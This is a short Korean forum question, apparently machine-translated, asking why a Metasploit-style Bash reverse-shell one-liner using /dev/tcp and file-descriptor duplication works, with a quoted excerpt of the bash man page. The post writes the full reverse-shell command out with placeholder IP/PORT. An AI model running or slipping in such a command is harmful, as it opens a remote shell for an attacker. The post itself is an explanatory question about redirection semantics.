때때로 더미 파일이 /dev/tcp/IP/PORT
리디렉션(파일 설명자 중복)과 결합되는 다음과 같은 Bash 리버스 셸을 볼 수 있습니다.
0<&202-;exec 202<>/dev/tcp/IP/PORT;sh <&202 >&202 2>&202
그런데 위 명령이 (Metasploit에서) 작동하는 이유는 무엇입니까? 아래 문서( man bash
) 에 따르면 입력을 위해 유효한 파일 설명자가 열리지 않았기 0<&202-
때문에 실패해야 합니까 ?202-
보너스 질문: /dev/tcp/IP/PORT
항상 입력 파일 설명자와 출력 파일 설명자로 사용할 수 있습니까?
리디렉션 연산자 [n]<&word는 입력 파일 설명자를 복사하는 데 사용됩니다. 단어가 하나 이상의 숫자로 확장되면 n으로 표시되는 파일 설명자는 해당 파일 설명자의 복사본이 됩니다. 단어의 숫자가 입력을 위해 열린 파일 설명자를 지정하지 않으면 리디렉션 오류가 발생합니다. 단어가 -로 평가되면 파일 설명자 n이 닫힙니다. n을 지정하지 않으면 표준 입력(파일 설명자 0)이 사용됩니다.